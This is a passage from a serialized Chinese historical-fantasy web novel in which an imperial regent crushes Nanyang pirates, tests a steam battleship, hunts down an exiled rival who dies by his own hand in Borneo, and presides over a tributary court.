“三起。”林臻重复,语气平淡无波,“南洋海寇,袭扰商船,旬日便有十余起。你的靖海营,是眼睛瞎了,还是腿脚慢了。” 郑三炮额头瞬间渗出冷汗。 “沈万金。”林臻目光转向一旁富态的中年人。 沈万金心中一凛,脸上堆起谦卑笑容:“草民在。” “沈家商船,上月遭劫,损失几何。”林臻问。 “这,”沈万金眼神闪烁,“托陛下和元帅洪福,损失尚可承受。” “尚可承受。”林臻嘴角勾起一丝冰冷的弧度,“沈老板家大业大,自然承受得起。只是不知,那些小商小贩,家当尽失,又该如何承受。” 他不再看两人,目光扫视全场,声音陡然转沉,带着千钧之力:“闽越新附,海疆未靖。陛下恩典,减免赋税,开通商路,乃为尔等谋福。然,有人阳奉阴违,暗中勾结海盗,通风报信,坐视商旅遭劫,甚至参与破坏船厂!” 最后四字,如同惊雷炸响! 广场上众人脸色骤变! “王允!”林臻喝道。 “臣在!”王允肃然应声。 “船厂失火一案,绣衣卫可有进展。” “回元帅!”王允声音洪亮,“经绣衣卫闽越千户所全力侦办,现已查明!失火乃人为纵火!纵火者,乃船厂一伙夫,已被擒获!据其供认,受金鲨帮余孽指使,意图拖延船厂工期!而金鲨帮余孽,与盘踞黑风岛的海盗独眼鲨部,往来密切!” “金鲨帮?”郑三炮脸色瞬间惨白。 “郑三炮!”林臻目光如电,“金鲨帮原为你麾下,归降后,你拍胸脯保证其部已解散,人员编入靖海营。如今,余孽作乱,勾结海盗,你作何解释。” “末将失察!末将该死!”郑三炮噗通一声跪倒在地,浑身颤抖。 “失察?”林臻声音冰冷,“还是有意纵容,甚至暗中授意。” “末将不敢!末将冤枉!”郑三炮磕头如捣蒜。 “冤不冤枉,绣衣卫自会查清。”林臻不再看他,目光扫过噤若寒蝉的豪强海商,“传令!” “其一,郑三炮,驭下不严,有负圣恩!即刻解除靖海营统领之职!暂押,待审!” “其二,绣衣卫,彻查金鲨帮余孽及所有涉案人员!凡有通敌、破坏、劫掠商船者,无论身份,一律锁拿!主犯,凌迟!从犯,斩立决!家产抄没!亲族流放!” “其三,即日起,闽越沿海,实施宵禁!所有船只进出港口,需经水师及绣衣卫双重查验!凡有违抗者,以通敌论处!” “其四,”林臻目光落在沈万金等人身上,“尔等商贾,当遵纪守法,诚信经营。凡有勾结海盗、囤积居奇、哄抬物价、阻挠新政者,沈万金,就是下场!” 沈万金双腿一软,瘫倒在地。 “押下去!”林臻挥手。 玄甲亲卫如狼似虎,将面如死灰的郑三炮和瘫软的沈万金拖走。 广场上死寂一片,唯有海风呜咽。 第789章 远洋战列舰 林臻负手而立,玄色身影在港口投下巨大的阴影。 铁血手段,雷霆震慑! 所有人心头都压上了一块巨石,再不敢有半分侥幸。 船厂核心区域,戒备森严的焚雷司临时工坊。 楚惜灵一身靛蓝工装,清冷的脸上毫无波澜,仿佛港口广场的雷霆风暴与她无关。 她面前的长桌上,摊开放着三样东西:一片烧焦的、边缘呈不规则锯齿状的深蓝色粗布碎片;一小撮混合着海盐颗粒和某种黑色油脂的灰烬;还有一张被特殊药水浸泡后显出字迹的、边缘焦黄的残破信笺。 信笺上,是几行扭曲怪异的字符,非汉字,亦非已知的南洋诸国文字。 “布片,”楚惜灵指尖轻点,“质地粗糙,染色不均,乃南洋爪哇岛特有蓝靛草所染,当地土人常用。” “灰烬,”她拿起一个琉璃皿,里面是分离出的黑色油脂,“经格物院分光镜析验,含棕榈油、鲸脂及微量硝石成分。棕榈油、鲸脂,为南洋海船常用防水油脂。硝石或为火源残留。” “信笺,”她目光落在那些怪异字符上,“字符结构似曾相识。” 她走到一旁书架,抽出一本厚厚的《南洋风物志》,快速翻动。最终,手指停在一幅描绘南洋某岛祭祀仪式的插图上,图中祭坛石碑上,刻着类似的扭曲符号。 “婆罗洲达雅克部族祭祀密文。”楚惜灵清冷的眼眸闪过一丝微光。 她取过纸笔,对照《风物志》附录的简单字符对照表,开始艰难地破译。 时间一点点流逝。工坊内只有炭火盆的噼啪声和笔尖划过纸张的沙沙声。 终于,她停下笔。残破信笺上的密文,被译出断断续续的句子: “货已备黑风岛交接。” “龙王催促下一批火油。” “大乾船厂进度报。” “神使将临指引。” 楚惜灵看着译出的文字,清冷的眉头微微蹙起。 龙王——或指楚霸天。 火油——南洋特产的一种极易燃烧的棕榈油,可用于火攻。 神使——未知。 最关键的是,黑风岛——正是绣衣卫追查到的独眼鲨老巢! 而进度报,说明闽越内部,仍有暗桩! 她立刻起身,走向书案,提笔疾书密报。 清冷的字迹,条分缕析,将发现与推断一一写明。 南洋的阴谋网络,正透过这残破的信笺,显露出一角狰狞。 金陵,紫宸殿。 慕容嫣并未如常端坐御座。 她立于巨大的羊皮疆域图前,玄黑镶金凤袍的拖尾静静铺陈在光洁的金砖地面上。 图上山川河流、城郭海疆,皆以不同色彩精细标注。 她的指尖,正缓缓划过刚刚纳入版图的岭南、闽越,最终停留在那片星罗棋布的南洋群岛之上。 内侍无声呈上两份密报。 一份来自闽越,林臻亲笔,详述港口震慑之举及后续安排。 一份来自焚雷司,楚惜灵破译的密信内容及分析。 慕容嫣凤眸沉静,一一阅过。 林臻的铁腕,在她意料之中。楚惜灵的发现,则让她眼底闪过一丝锐利寒芒。 “南洋”她轻声自语,指尖在“婆罗洲”与“黑风岛”之间轻轻一点,“楚霸天龙王神使有点意思。” 她转身,走向御案。猩红的朱笔在玉玺旁蘸饱了墨。 “传旨。”她声音清越,带着掌控全局的从容。 “其一,着令绣衣卫南洋司,全力追查婆罗洲达雅克部族与黑风岛海盗独眼鲨部之关联,及所谓神使之踪迹。凡有线索,不惜代价,深挖。” “其二,密令沿海水师,加强对黑风岛海域之封锁与侦察。暂勿强攻,待敌自乱。” “其三,着户部、工部,加速筹备南洋开拓司。精选通晓海事、熟知南洋之干员,筹备远航商队。以贸易为先锋,渗透诸岛,广布耳目。” “其四,”慕容嫣笔锋一顿,朱砂在宣纸上落下鲜红印记,“通告礼部,筹备万国来朝大典。广发国书,邀南洋诸岛国主、土王,于明年开春,赴金陵朝觐。凡来朝者,赐厚礼,彰天恩。凡不至者” 她凤眸微抬,望向殿外辽阔的天空,声音平静无波:“视为不臣。” 内侍躬身记录,大气不敢出。 慕容嫣放下朱笔,指尖拂过案上那枚象征着帝国最高权柄的玉玺。 ...... 泉州港的海风带着铁锈与咸腥的气息,吹拂着新建的“镇海船厂”巨幅匾额。 巨大的干船坞内,龙骨如沉睡的巨兽骨架,延伸向深水区。当那覆盖蟠龙纹饰的玄铁马车在玄甲亲卫簇拥下驶入船厂时,工匠们停下了手中的活计,敬畏地望向那道玄色身影。 林臻缓步下车,玄色大氅在风中微扬。 他没有理会躬身行礼的官员,目光径直投向船坞深处。 那里,一艘前所未有的巨舰轮廓已初具规模。 它比停泊在港口的“镇海级”铁甲舰更长、更宽,流线型的船体覆盖着黝黑发亮的钢板,甲板上预留的炮位更多、更大。 焚雷司主事楚惜灵一身靛蓝工装,清冷的脸上沾着油污,正与几名工程师围着一张巨大的图纸低声讨论。 “夫君。”楚惜灵见到林臻,微微颔首,声音平静无波。 “进展如何。”林臻目光扫过巨舰。 “龙骨铺设完成,外甲板铆接进度七成。雷龙级首舰,破浪号。”楚惜灵指向图纸,“全长一百二十丈,宽二十丈,吃水六丈。主装甲带厚六寸,覆盖核心区域。配备新式焚天神雷主炮二十四门,射程五里,可发射爆破弹与穿甲弹。辅助副炮四十门,近防火铳六十具。” “动力。”林臻问。 “双联装格物院特制高压蒸汽轮机,驱动双螺旋桨。设计航速,逆风逆流下,不低于十节。顺风顺流,可达十五节。”楚惜灵语速平稳,“目前,轮机舱已就位,蒸汽管道铺设中。最大难点在于主炮塔旋转机构的密封与承重,以及高压蒸汽管道的防爆。” 她指向舰体中部预留的巨大圆形基座:“此处,将安装首座三联装炮塔。旋转三百六十度,仰角四十五度。现有密封材料在高压蒸汽环境下易老化失效,且炮塔旋转时震动巨大,轴承磨损严重。” 林臻走近几步,玄色身影在巨大的舰体前显得渺小,却带着无形的压迫感。 他伸手,冰冷的指尖拂过一块已铆接好的厚重钢板,感受着那金属的坚硬与冰冷。 “多久。”他声音低沉。 “主炮塔密封材料,格物院材料所已有新配方,正在测试。轴承问题,”楚惜灵清冷的眼眸闪过一丝微光,“我提议,采用多层复合嵌套轴承,内嵌硫化橡胶减震环,外覆精钢渗碳耐磨层。图纸已绘,样品锻造中,十日内可出结果。” “好。”林臻颔首,“破浪号下水之日,本王要亲见其炮火齐鸣,劈波斩浪。” “定不负夫君所望。”楚惜灵声音依旧清冷,却带着一丝不易察觉的笃定。 第790章 发现楚霸天 婆罗洲深处,雨林的闷热如同无形的蒸笼,湿漉漉的空气粘稠得令人窒息。 简陋的木寨内,弥漫着汗臭、霉味和一种绝望的气息。 楚霸天蜷缩在角落的草席上,昔日魁梧的身形如今瘦骨嶙峋,眼窝深陷,浑浊的眼中布满血丝,死死盯着手中一块发硬的糙米饼。 丞相陈元靠在一旁的木柱上,气息微弱,面如金纸。 “陛下吃点吧。”一名忠心老仆颤巍巍递上半碗浑浊的野菜汤。 楚霸天猛地挥手打翻汤碗,汤汁溅了一地。 “吃什么?毒虫还是烂叶子?” 他声音嘶哑干涩,如同破风箱,“朕是天子竟落得如此田地。” “陛下息怒。”老仆吓得跪倒在地。 “息怒,哈哈,息怒。”楚霸天发出夜枭般的惨笑,“朕的舰队没了,爪哇岛投了大乾那些土王,拿了朕的金子,现在连面都不见,达雅克人只给这些猪食。” 他挣扎着站起,踉跄走到木窗边。 窗外,是望不到边的、令人绝望的浓绿。 雨点敲打着宽大的树叶,发出单调的声响。 几个面黄肌瘦的达雅克战士抱着简陋的竹矛,有气无力地靠在寨墙边,眼神麻木。 “神使呢?那个装神弄鬼的东西呢?”楚霸天猛地回头,眼中凶光毕露,“他不是说天神会庇佑朕吗?庇佑在哪?” “陛下。”陈元虚弱地开口,“神使昨日已离开寨子说要去其他部落祈求神谕。” “祈求神谕,哈哈,是卷了金子跑了吧?”楚霸天狂笑,笑声中带着无尽的悲凉与怨毒,“骗子都是骗子。” 他猛地抽出腰间那把锈迹斑斑的佩剑,疯狂劈砍着身边的木柱,木屑纷飞。“慕容嫣!林臻!朕做鬼也不会放过你们!” “陛下!”陈元挣扎着想阻止。 “滚开!”楚霸天一脚踹开陈元,继续疯狂劈砍,口中发出野兽般的嘶吼。 直到力气耗尽,他才拄着剑,大口喘息,浑浊的泪水混合着汗水,从深陷的眼窝中滑落。 雨林深处,传来土著祭祀沉闷的鼓点声,一声,又一声,如同为这末路帝王敲响的丧钟。 泉州船厂,秘密试炮场。 远离喧嚣的港湾深处,一处背靠山崖的隐蔽海湾。 巨大的“焚天神雷”炮管被固定在特制的钢铁基座上,黝黑的炮口对准远处海面上漂浮的靶船——一艘废弃的旧式南楚战船。 林臻玄色大氅,立于临时搭建的观测高台上,目光沉静。 楚惜灵一身工装,站在炮位旁,清冷的眼眸紧盯着复杂的仪表盘。数名焚雷卫工程师紧张地操作着。 “装填穿甲弹!”楚惜灵下令。 沉重的钢制穿甲弹被推入炮膛,闭锁机构发出沉闷的撞击声。 “注水加压!目标距离,四里半!方位,正东偏南三度!”工程师高声报数。 高压蒸汽管道发出低沉的嘶鸣,压力表指针缓缓爬升。 “压力达标!准备发射!”工程师看向楚惜灵。 楚惜灵微微颔首,目光扫过仪表,最后落在林臻的方向。 林臻抬手。 “开火!”命令下达。 “轰——!” 一声震耳欲聋的巨响! 炮口喷出长达数丈的橘红色火舌! 巨大的后坐力让沉重的炮架猛地向后一挫! 肉眼可见的气浪席卷开来,吹得岸边草木低伏! 炮弹撕裂空气,发出尖锐刺耳的呼啸! 几乎在瞬间,远处海面上的靶船中部猛地爆开一团巨大的火光! “轰隆——!” 剧烈的爆炸声紧随而至! 木屑、铁片、烟尘冲天而起! 那艘旧式战船如同纸糊般,被拦腰撕裂! 巨大的豁口处,火焰熊熊燃烧! 残骸迅速倾斜,沉入海中! 高台上,林臻深邃的眼眸中,映着海面上翻滚的烈焰与浓烟,一丝锐利的光芒一闪而逝。 “穿甲爆破弹,四里半,直击目标核心,摧毁。”楚惜灵清冷的声音响起,毫无波澜,却带着不容置疑的确认。 “好。”林臻的声音低沉,听不出喜怒,“下一项,射速。” 楚惜灵转身,对工程师道:“换装高爆弹。目标,三号礁石群。测试急速射。” “是!” 炮口缓缓转动,对准远处一片犬牙交错的黑色礁石。 ...... 丁香屿的空气粘稠而芬芳,浓郁的丁香与豆蔻气息几乎凝成实质。 港口简陋的栈桥上,大乾开拓司主事周桐正与土王巴图鲁并肩而立,身后是堆积如山的香料木箱与丝绸瓷器的礼箱。 一场象征性的“通商互市”仪式正在进行。 巴图鲁土王黝黑的脸上挤出笑容,眼神却不时扫过停泊在深水区、炮口森然的“海鹞号”。 周桐面带和煦微笑,言语得体,目光却锐利如鹰,扫视着周围攒动的人群——那些皮肤黝黑的岛民眼中,好奇与警惕交织,更有几道阴鸷的目光,如同毒蛇般隐藏在阴影里。 “土王陛下,”周桐指向一匹流光溢彩的蜀锦,“此乃我大乾蜀中上品,冬暖夏凉,最衬您的威仪。” 巴图鲁抚摸着光滑的锦缎,眼中贪婪一闪而过:“好好,大乾天朝果然物华天宝。” 就在这时,人群外围一阵骚动。 几个抬着巨大香料木箱的达雅克苦力似乎脚下不稳,沉重的木箱猛地倾斜,箱盖崩开,散发着刺鼻气味的黑色豆蔻如瀑布般倾泻而下,瞬间滚落满地! 人群惊呼着后退躲避,场面一时混乱! “保护大人!”周桐身侧的护卫队长厉喝,数名精悍护卫瞬间拔刀,将周桐与巴图鲁护在中间。 混乱中,一道灰影如同鬼魅般,贴着倾倒的木箱阴影滑入! 他动作快得不可思议,正是“影刺”! 他脸上那道狰狞刀疤在混乱的光影中扭曲,死寂的眼神锁定周桐,淬着幽蓝毒光的骨质短匕无声出鞘,直刺周桐后心! 千钧一发之际! “砰!” 一声清脆的火铳爆鸣! 影刺持匕的手腕猛地爆开一团血花! 骨匕脱手飞出,当啷落地! 他闷哼一声,身形一滞,眼中死寂瞬间被惊愕取代! 栈桥旁一艘不起眼的小渔船上,一名伪装成渔夫的绣衣卫密探,手中短铳枪口还冒着青烟。 他动作不停,翻身跃上栈桥,手中已多了一柄淬毒短弩! “有刺客!拿下!”护卫队长怒吼,护卫们如狼似虎扑向影刺! 影刺反应极快,不顾手腕剧痛,左手一扬,一包黑色粉末撒向空中!正是“迷魂香”!刺鼻的异香瞬间弥漫! “闭气!”周桐急喝,同时拉着惊魂未定的巴图鲁疾退! 护卫们动作稍滞,影刺已如泥鳅般滑入混乱的人群,几个闪身便消失在一排香料仓库之后。 “追!”绣衣卫密探低喝,数道身影如离弦之箭追去。 巴图鲁土王脸色惨白,惊魂未定地看着地上那柄幽蓝的骨匕和弥漫的异香,又看看神色冷峻的周桐,眼中最后一丝侥幸荡然无存。 他明白,婆罗洲的阴影,已经笼罩到了他的丁香屿。 泉州船厂,秘密海湾。 震耳欲聋的炮声刚刚平息,海面上漂浮着被“焚天神雷”主炮撕碎的礁石残骸,硝烟尚未散尽。 林臻立于高台,玄色大氅在爆炸的气浪中猎猎作响,深邃的眼眸映着海面上翻滚的浊浪。 一名绣衣卫千户风尘仆仆,单膝跪地,声音急促:“元帅!急报!丁香屿!开拓司主事周桐遇刺!” 林臻霍然转身,眼中寒光乍现,如同冰封的湖面骤然碎裂:“何人。” “刺客乃南楚余孽,代号影刺,原楚霸天宫廷暗卫首领!已被我潜伏密探击伤,然其用毒烟遁走,目前仍在追捕!刺客所用,乃婆罗洲达雅克部族秘制箭毒木骨匕及迷魂香!” 千户呈上一份密报,“此乃现场缴获证物及密探口供!” 林臻接过密报,目光如电般扫过。冰冷的杀意,如同实质般从他身上弥漫开来,周围空气仿佛瞬间冻结。 “楚霸天,”林臻声音低沉,每一个字都如同冰珠砸落,“找死。” 他猛地抬头,望向波涛汹涌的南洋方向:“传令!” “南洋水师,镇海、定远、扬威三舰即刻拔锚!目标,婆罗洲外海!封锁所有进出水道!凡有船只靠近婆罗洲海岸,无论渔船商船,一律击沉!” “焚雷卫特遣队,随舰出发!携带新式焚天雷爆破弹!目标,婆罗洲沿岸所有疑似海盗据点、达雅克部族码头!” “绣衣卫南洋司,所有能动用的暗探,全部撒向婆罗洲!给我找出楚霸天藏身木寨的确切位置!活要见人,死要见尸!” “另,”林臻目光扫过身旁的楚惜灵,“破浪号舾装进度如何。” “主炮塔密封已解决,高压管道防爆测试通过。三日内,可下水试航。”楚惜灵清冷回应。 “好。”林臻眼中寒光更盛,“三日后,破浪号试航目标,改道婆罗洲!本王,要亲临前线,看着这头困兽,如何覆灭!” 命令如同雷霆,瞬间传遍水师军营。号角长鸣,战鼓震天!巨大的铁甲战舰喷吐浓烟,缓缓驶离港口,如同三头愤怒的钢铁巨兽,扑向那片被瘴气笼罩的死亡之地。 第791章 楚霸天之死 婆罗洲雨林深处,木寨死寂。 楚霸天蜷缩在角落,听着远处隐约传来的、不同于祭祀鼓点的沉闷轰鸣——那是大乾水师舰炮的怒吼! 每一次轰鸣,都如同重锤砸在他心头。 “陛下,”老仆连滚带爬冲入,“不好了,海边我们的码头被大乾炮舰轰平了,达雅克人的船全烧了。” 楚霸天身体一颤,浑浊的眼睛死死盯着地面。 “影刺大人回来了,”老仆声音带着哭腔,“他手断了浑身是血。” 影刺的身影出现在门口。 他左臂齐腕而断,伤口用脏污的布条草草包扎,脸色惨白如鬼,死寂的眼神中第一次出现了名为恐惧的东西。 “失手了,”影刺声音嘶哑,“大乾有埋伏绣衣卫。” “废物!”楚霸天猛地抓起地上的陶罐碎片砸过去,“连一个文官都杀不掉!” 碎片划破影刺的脸颊,鲜血渗出。 他沉默着,一动不动。 “滚,都滚。”楚霸天颓然瘫倒,眼中最后一丝疯狂的光也熄灭了。 他听着越来越近的炮声,闻着空气中若有若无的硝烟味,绝望如同冰冷的潮水,将他彻底淹没。 丞相陈元躺在草席上,气息微弱,忽然剧烈咳嗽起来,咳出乌黑的血块。 他艰难地抬起手,指向楚霸天,嘴唇翕动,却发不出声音,最终手臂无力垂下,气息断绝。 “陈元,”楚霸天爬到陈元身边,摇晃着他冰冷的身体,浑浊的泪水混合着鼻涕流下,“连你也丢下朕了。” 雨林外,炮声停了。 一种更令人窒息的死寂降临。 接着,是土著惊恐的哭喊和奔跑声。 “达雅克人跑了,他们往雨林深处逃了。”老仆绝望地哭喊。 楚霸天呆呆地坐着,怀中抱着陈元冰冷的尸体。 木寨外,传来沉重而整齐的脚步声,金属甲叶碰撞的铿锵声,以及火铳上膛的清脆声响。 他缓缓抬起头,透过破败的木窗缝隙,看到一队队身着玄甲、手持火铳的大乾士兵,如同沉默的潮水,包围了木寨。 为首一人,玄色大氅,身姿挺拔如枪,正是林臻! 他深邃的目光,穿透雨林的昏暗,如同冰冷的利剑,刺向木寨深处。 楚霸天脸上露出一丝扭曲的、近乎解脱的笑容。他摸索着,从怀中掏出那柄淬毒的骨匕,毫不犹豫地,狠狠刺向自己的心口! 剧痛传来,幽蓝的毒液瞬间蔓延。 他眼前一黑,最后的意识里,是林臻那双冰冷无情的眼睛,和慕容嫣玄黑凤袍拖尾划过金砖地面的“沙沙”声。 婆罗洲的雨,终于落下,冲刷着木寨的血污与罪恶,也冲刷着一个流亡王朝最后的痕迹。 ...... 婆罗洲雨林的闷热如同无形的巨手,扼住人的咽喉。 湿漉漉的空气里,弥漫着硝烟、血腥与腐叶混合的刺鼻气味。 简陋的木寨已被玄甲士兵围得水泄不通,火铳的铳口在昏暗的光线下闪烁着冰冷的寒光。 林臻玄色大氅,立于寨前,深邃的眼眸穿透破败的木窗缝隙,落在木屋角落那两具纠缠的尸体上。 亲卫队长一脚踹开腐朽的木门,浓重的血腥味扑面而来。 屋内光线昏暗,丞相陈元仰面躺在草席上,面色青紫,口鼻残留着乌黑的血迹,气息早已断绝。 楚霸天则蜷缩在陈元身侧,胸口插着一柄幽蓝的骨质短匕,匕首深深没入心脏,只留下扭曲的骨柄。 他双目圆睁,瞳孔涣散,脸上凝固着一种扭曲的、近乎解脱的诡异笑容,混杂着绝望与疯狂。暗红的血液浸透了粗布麻衣,在身下洇开一片深色。 “元帅,”亲卫队长探了探鼻息,回身禀报,“楚霸天自戕陈元,疑似毒发。” 林臻缓步走入木屋,玄色靴底踩在粘稠的血污上。 他目光扫过楚霸天胸口的骨匕——正是丁香屿刺杀未遂的同款毒匕。 他蹲下身,指尖并未触碰尸体,只是冷冷地审视着那张扭曲的脸。 “验明正身。”林臻声音低沉,毫无波澜。 随行军医上前,仔细查验楚霸天脸上残留的刺青、旧伤疤痕,并与绣衣卫密档中的画像比对。“禀元帅,确系楚霸天无疑。” “割下首级。”林臻起身,声音如同淬火的寒冰,“以石灰封存。陈元尸身,就地焚化。” “是!”亲卫队长应声,拔出腰刀。 林臻转身走出木屋,玄色大氅在潮湿的空气中划出一道凌厉的弧线。 屋外,残余的达雅克战士和楚霸天旧部被玄甲士兵押跪在地,面如土色,瑟瑟发抖。 雨点开始落下,敲打着宽大的树叶,发出沉闷的声响。 “传令!”林臻的声音穿透雨幕,带着不容置疑的威严。 “其一,婆罗洲所有参与叛乱之达雅克部族首领、海盗头目,即刻锁拿!押赴泉州港,公审处决!悬首示众!余者,青壮充作苦役,修筑道路、港口!妇孺老弱,迁离祖地,分散安置于南洋诸岛!” “其二,即日起,婆罗洲设南洋都护府!驻军五千!清剿残匪!推行王化!焚雷司、工部,即刻勘测选址,修筑要塞、港口、道路!户部,移民实边!授田垦荒!” “其三,通告南洋诸岛!楚霸天伏诛!凡有再敢勾结余孽、袭扰商旅、抗拒王化者,婆罗洲,便是前车之鉴!” 命令如同冰冷的铁律,砸在每一个俘虏心头。 绝望的哭嚎声在雨林中响起,旋即被士兵的呵斥声压下。 林臻负手而立,玄色身影在婆罗洲的烟雨迷蒙中,如同定海的神针。帝国的铁蹄,彻底踏碎了这片雨林最后的抵抗意志。 金陵,紫宸殿。 金碧辉煌,庄严肃穆。 巨大的蟠龙金柱支撑着高耸的穹顶,琉璃宫灯洒下柔和而璀璨的光芒。 慕容嫣高踞九龙金椅之上,玄黑镶金凤袍拖尾逶迤,铺陈在光洁如镜的金砖地面,长达两丈,华贵威严,不可逼视。 凤冠高耸,珠帘垂落,掩映着清丽绝伦、冷若冰霜的容颜。 凤眸开阖间,神光湛然,睥睨天下。 殿内,文武百官身着朝服,肃立两侧,鸦雀无声。 殿门缓缓开启。礼部尚书周正高声唱喏:“宣——南洋诸岛国主、土王——觐见——!” 悠扬的礼乐奏响。在礼官引导下,一行服饰各异、肤色黝黑的使节,带着敬畏与忐忑,步入大殿。 为首者,丁香屿土王巴图鲁,身着华贵丝绸,却难掩拘谨;其后是翡翠岛、香料群岛等诸岛代表,或披羽衣,或戴金冠,眼神中充满了对天朝上国的震撼与臣服。 “臣等拜见大乾女帝陛下!陛下万岁!万岁!万万岁!”使节们以生硬的官话,齐声高呼,匍匐行礼。 慕容嫣凤眸微抬,珠帘轻晃,声音清越而威严,穿透殿宇:“平身。” “谢陛下!” “南洋诸岛,远涉重洋,来朝觐见,朕心甚慰。”慕容嫣声音平静,却带着无形的威压,“楚霸天逆贼,祸乱南洋,抗拒天威,今已伏诛。婆罗洲新设都护府,护商安民。自即日起,南洋诸岛,皆为大乾藩属,共享太平,互通有无。” 她目光扫过使节:“凡遵王化,诚心归附者,赐丝绸万匹,瓷器千件,茶叶百担!授归义侯、怀远伯等爵!允其子弟入金陵国子监就学!共享天朝文治!” “陛下圣恩浩荡,臣等感激涕零!”巴图鲁等人再次叩首,声音激动。 “然,”慕容嫣声音转冷,凤眸中寒光一闪,“凡有阳奉阴违,心怀叵测,勾结余孽,扰乱海疆者。” 她微微停顿,殿内空气瞬间凝固。 “婆罗洲便是下场!” 冰冷的话语,如同重锤,敲在每一个使节心头。 他们匍匐在地,不敢抬头,冷汗浸透了华服。 “赐宴!”慕容嫣拂袖。 礼乐再起,悠扬庄重。 宫娥鱼贯而入,珍馐美酒陈列于使节席前。 然而,这盛宴的香气中,却弥漫着帝国无上的威严与冰冷的警告。 万国来朝,是恩典,更是震慑。南洋的格局,在这一刻,被彻底锚定。 闽越,泉州港。 海风带着初夏的暖意,吹拂着港口新建的“南洋都护府”衙署上飘扬的玄色蟠龙旗。 巨大的“破浪号”铁甲战舰如同钢铁山岳,停泊在深水港内,黝黑的炮口在阳光下泛着冷硬的光泽。 甲板上,水兵列队,军容整肃。 码头广场,人山人海。新任南洋都护王允,身着崭新官袍,立于高台之上。 他身后,是南洋开拓司主事周桐、焚雷司主事楚惜灵等一众官员。 “奉天承运,皇帝诏曰!”王允声音洪亮,“南洋初定,海疆靖平!为彰天朝仁德,通商惠工,特设南洋都护府于泉州!统辖南洋诸岛军政要务!护商安民,推行王化!” “即日起,开通泉州—南洋定期商船航线!由水师新式飞鱼级快船护航!凡我大乾商贾,凭通商符引,皆可往来贸易,享关税减免之惠!” “另!婆罗洲新港镇南港,已破土动工!破浪号铁甲战舰,将常驻南洋巡防!扬我国威!震慑宵小!” “陛下圣明!元帅英明!大乾万岁!”人群爆发出震天的欢呼! 商贾们眼中闪烁着对财富的渴望,工匠们脸上洋溢着自豪。 楚惜灵清冷的眼眸扫过庞大的“破浪号”,又望向南方辽阔的海域。 焚雷司的格物之力,已化作这劈波斩浪的钢铁巨兽。帝国的边疆,正随着这巨兽的航迹,不断延伸。 “呜——!” 悠长的汽笛声响起! “破浪号”巨大的烟囱喷吐出滚滚浓烟!铁锚缓缓升起! “启航!”王允高喝。 “破浪号”庞大的身躯缓缓移动,钢铁巨轮碾开碧波,驶向烟波浩渺的南洋深处。 玄色蟠龙旗在桅杆顶端猎猎作响,宣告着一个新时代的开启。 第792章 一句难以追击便打发了? 泉州港的海风带着初夏的暖意,却也裹挟着铁锈、海盐与新漆的混合气息。 巨大的“镇南港”工地如同一个喧嚣的蜂巢,蒸汽吊车的轰鸣、铁锤敲击的铿锵、民夫的号子声交织在一起。 崭新的“南洋都护府”衙署矗立在港口高处,玄色蟠龙旗猎猎作响。 然而,这片象征帝国新秩序的繁忙景象下,暗流从未停歇。 都护府议事厅内,气氛凝重如铅。 新任南洋都护王允端坐上首,面色沉肃。 下首两侧,坐着焚雷司主事楚惜灵、水师提督赵猛、绣衣卫闽越千户严锋,以及几位泉州本地大商贾代表。空气中弥漫着压抑的紧张感。 “都护大人,”一名盐商代表声音带着不满,“昨日海丰号商船在鲨齿礁附近遭劫,损失盐货千担,水手死伤五人。水师巡防舰何在。” 水师提督赵猛,一个面容黝黑、眼神锐利的汉子,沉声道:“鲨齿礁水域复杂,暗流汹涌,海盗船小且快,利用礁石掩护,打了就跑。巡防舰吃水深,难以追击。” “难以追击?”另一名丝绸商冷笑,“朝廷减免赋税,开通商路,许诺水师护航。如今商船遭劫,水手殒命,一句难以追击便打发了?” “水师将士,亦在浴血!”赵猛眼中闪过一丝怒意,“上月镇海号在鬼见愁海域遭遇海盗主力,激战半日,击沉敌船三艘,毙敌百余!我水师亦有七名将士殉国!” “然则海盗未绝,商路未宁!”沈万海声音拔高,“长此以往,谁敢出海?商路不通,减免赋税又有何用!” 厅内争论渐起,商贾们怨气沸腾。王允眉头紧锁,看向一直沉默的楚惜灵:“楚夫人,新式快船飞鱼级,可堪大用。” 楚惜灵清冷的眼眸抬起:“飞鱼级首舰海燕号已下水试航。船体轻捷,吃水浅,航速快,配备小型焚天雷速射炮两门,火铳二十具。专为近海巡防、清剿海盗设计。然数量不足,仅此一艘。” “一艘杯水车薪。”商贾们面露失望。 “肃静!”王允沉声喝道。 他目光扫过众人,最终落在绣衣卫千户严锋身上:“严千户,海盗行踪,可有线索。” 严锋起身,声音冷硬:“据线报,劫掠海丰号的海盗,乃黑鲨帮余孽,头目独眼鲨未死,纠集残部,盘踞鲨齿礁一带。此獠狡诈,行踪飘忽,且,” 他顿了顿,“似有内应,为其通风报信。” “内应?”厅内瞬间死寂,商贾们面面相觑,眼神惊疑。 “查!”王允声音斩钉截铁,“严千户,此事交予绣衣卫!无论涉及何人,一查到底!凡有通敌者,立斩不赦!” “是!”严锋眼中寒光一闪。 “水师方面,”王允看向赵猛,“海燕号即刻投入巡防!以鲨齿礁为重点!另,抽调精锐水兵,组成跳帮队,配发新式连发火铳!一旦发现海盗船,务必咬死!登船剿杀!” “末将领命!”赵猛抱拳。 “至于诸位,”王允目光转向商贾, “朝廷新政,非一日之功。海盗之患,必除!然商路畅通,亦需诸位同心协力。都护府将增派护航舰船,优化航线。凡有损失,核实后,由市舶银号酌情补偿。但若有人借此哄抬物价,扰乱市场”他声音转冷,“莫怪本官,不讲情面!” 商贾们噤若寒蝉,沈万海等人低头不语。王允的铁腕与绣衣卫的介入,让他们感到了无形的压力。 金陵,紫宸殿。 万国来朝大典的余韵尚未散尽,金碧辉煌的殿堂内,气氛却有些微妙。 慕容嫣玄黑镶金凤袍拖尾逶迤,端坐御座,凤冠珠帘下,容颜清冷。阶下,文武百官肃立。 户部尚书张衡手持玉笏,出列奏报:“陛下,南洋商路初开,然海盗肆虐,商船屡遭劫掠,损失颇重。闽越、岭南新附之地,减免赋税,移民实边,工坊船厂营建,皆耗资巨万。国库恐难以为继。” 礼部尚书周正紧随其后:“陛下,万国来朝,赐予南洋诸岛国主厚礼,彰显天朝仁德,然所费不赀。且有御史风闻,泉州都护府为安抚商贾,竟允诺以市舶银号补偿商船损失,此乃慷国库之慨,恐开恶例!” 兵部尚书赵武冷哼一声:“海盗未平,商路不通,赋税减免再多也是空谈!补偿损失,安定商心,乃权宜之计!当务之急,是增派水师,荡平海寇!” “增派水师?”张衡反驳,“战舰建造,兵员粮饷,哪一项不是吞金巨兽?国库空虚,巧妇难为无米之炊!” 